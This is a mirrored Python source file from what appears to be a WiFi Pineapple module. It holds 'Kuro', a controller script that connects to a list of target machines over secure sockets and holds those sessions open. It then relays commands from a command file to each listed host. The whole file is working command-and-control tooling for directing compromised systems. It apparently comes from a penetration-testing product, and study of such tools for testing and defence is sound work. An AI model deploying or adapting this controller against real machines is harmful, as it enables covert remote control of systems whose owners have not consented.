mirror of
https://github.com/hak5/nano-tetra-modules.git
synced 2025-10-29 16:58:09 +00:00
162 lines
4.1 KiB
Python
Executable File
162 lines
4.1 KiB
Python
Executable File
# Kuro looms up ahead, won't allow us to pass.
|
|
# Let us not travel further, lest we unleash her wrath.
|
|
# Her screech can be heard from atop her perch,
|
|
# commanding those fallen under her curse.
|
|
|
|
import select
|
|
import sys
|
|
import threading
|
|
from target import Target
|
|
|
|
# Pull settings from file
|
|
settingsFile = "/pineapple/modules/CursedScreech/includes/forest/settings"
|
|
target_list = ""
|
|
activity_log = ""
|
|
cmd_list = ""
|
|
settings = {}
|
|
with open(settingsFile, "r") as sFile:
|
|
for line in sFile:
|
|
params = line.strip("\n").split("=")
|
|
if params[0] == "target_list":
|
|
target_list = params[1]
|
|
elif params[0] == "activity_log":
|
|
activity_log = params[1]
|
|
elif params[0] == "cmd_list":
|
|
cmd_list = params[1]
|
|
else:
|
|
pass
|
|
|
|
def logActivity(msg):
|
|
with open(activity_log, "a") as log:
|
|
log.write(msg + "\n")
|
|
|
|
def connectTarget(ip, port):
|
|
target = Target(ip, int(port))
|
|
target.secureConnect()
|
|
if target.isConnected():
|
|
return target
|
|
else:
|
|
return False
|
|
|
|
# A list for target objects and threads on which to receive data
|
|
targets = []
|
|
threads = []
|
|
killThreads = False
|
|
|
|
def recvOnTarget(t):
|
|
global killThreads
|
|
while True:
|
|
if killThreads == True:
|
|
break
|
|
|
|
try:
|
|
ready = select.select([t.socket], [], [], 5)
|
|
if ready[0]:
|
|
t.recv()
|
|
except:
|
|
break
|
|
|
|
# Function to disconnect all targets and quit
|
|
def cleanUp(targets):
|
|
# Close all sockets
|
|
print "[>] Cleaning up sockets"
|
|
logActivity("[>] Cleaning up sockets")
|
|
|
|
# Attempt to kill the thread
|
|
global killThreads
|
|
killThreads = True
|
|
|
|
for target in targets:
|
|
target.disconnect()
|
|
|
|
# Attempt to connect to all targets and store them in the targets list
|
|
with open(target_list, "r") as targetFile:
|
|
for t in targetFile:
|
|
|
|
# Strip newline characters from the line
|
|
t = t.strip("\n")
|
|
|
|
try:
|
|
ip = t.split(":")[0]
|
|
port = t.split(":")[1]
|
|
|
|
# Connect to the target and append the socket to our list
|
|
newTarget = connectTarget(ip, port)
|
|
if newTarget != False:
|
|
newThread = threading.Thread(target=recvOnTarget, args=(newTarget,))
|
|
threads.append(newThread)
|
|
newThread.start()
|
|
targets.append(newTarget)
|
|
|
|
except KeyboardInterrupt:
|
|
print "Interrupt detected. Moving to next target..."
|
|
continue;
|
|
|
|
quitFlag = False
|
|
if len(targets) > 0:
|
|
try:
|
|
logActivity("[!] Kuro is ready")
|
|
while True:
|
|
|
|
# Read from the target list to see if any new targets are
|
|
# available. If so, attempt to connect to them.
|
|
with open(target_list, "r") as targetFile:
|
|
for line in targetFile:
|
|
skip = False
|
|
line = line.strip("\n")
|
|
ip = line.split(":")[0]
|
|
port = line.split(":")[1]
|
|
|
|
# If the address is found in the target list, check if
|
|
# the port is the same
|
|
if any(t.addr == ip for t in targets):
|
|
for t in targets:
|
|
# If the ip address matches but the port does not
|
|
# disconnect the target and remove it from the list
|
|
if t.addr == ip and t.port != int(port):
|
|
t.disconnect()
|
|
targets.remove(t)
|
|
|
|
# Recreate the target object, connect to it, and
|
|
# add it back to the list
|
|
newTarget = connectTarget(ip, port)
|
|
if newTarget != False:
|
|
newThread = threading.Thread(target=recvOnTarget, args=(newTarget,))
|
|
threads.append(newThread)
|
|
newThread.start()
|
|
targets.append(newTarget)
|
|
else:
|
|
newTarget = connectTarget(ip, port)
|
|
if newTarget != False:
|
|
newThread = threading.Thread(target=recvOnTarget, args=(newTarget,))
|
|
threads.append(newThread)
|
|
newThread.start()
|
|
targets.append(newTarget)
|
|
|
|
# Read from cmd.log, send to targets listed, and clear
|
|
# the file for next use.
|
|
with open(cmd_list, "r") as cmdFile:
|
|
for line in cmdFile:
|
|
params = line.strip("\n").rsplit(":", 1)
|
|
cmd = params[0]
|
|
addr = params[1]
|
|
|
|
# Check if Kuro received a command to end her own process
|
|
if cmd == "killyour" and addr == "self":
|
|
quitFlag = True
|
|
else:
|
|
for t in targets:
|
|
if t.addr == addr and t.isConnected:
|
|
t.send(cmd)
|
|
|
|
# Clear the file
|
|
open(cmd_list, "w").close()
|
|
|
|
# Check if it's time to quit
|
|
if quitFlag:
|
|
break
|
|
|
|
except KeyboardInterrupt:
|
|
pass
|
|
|
|
cleanUp(targets) |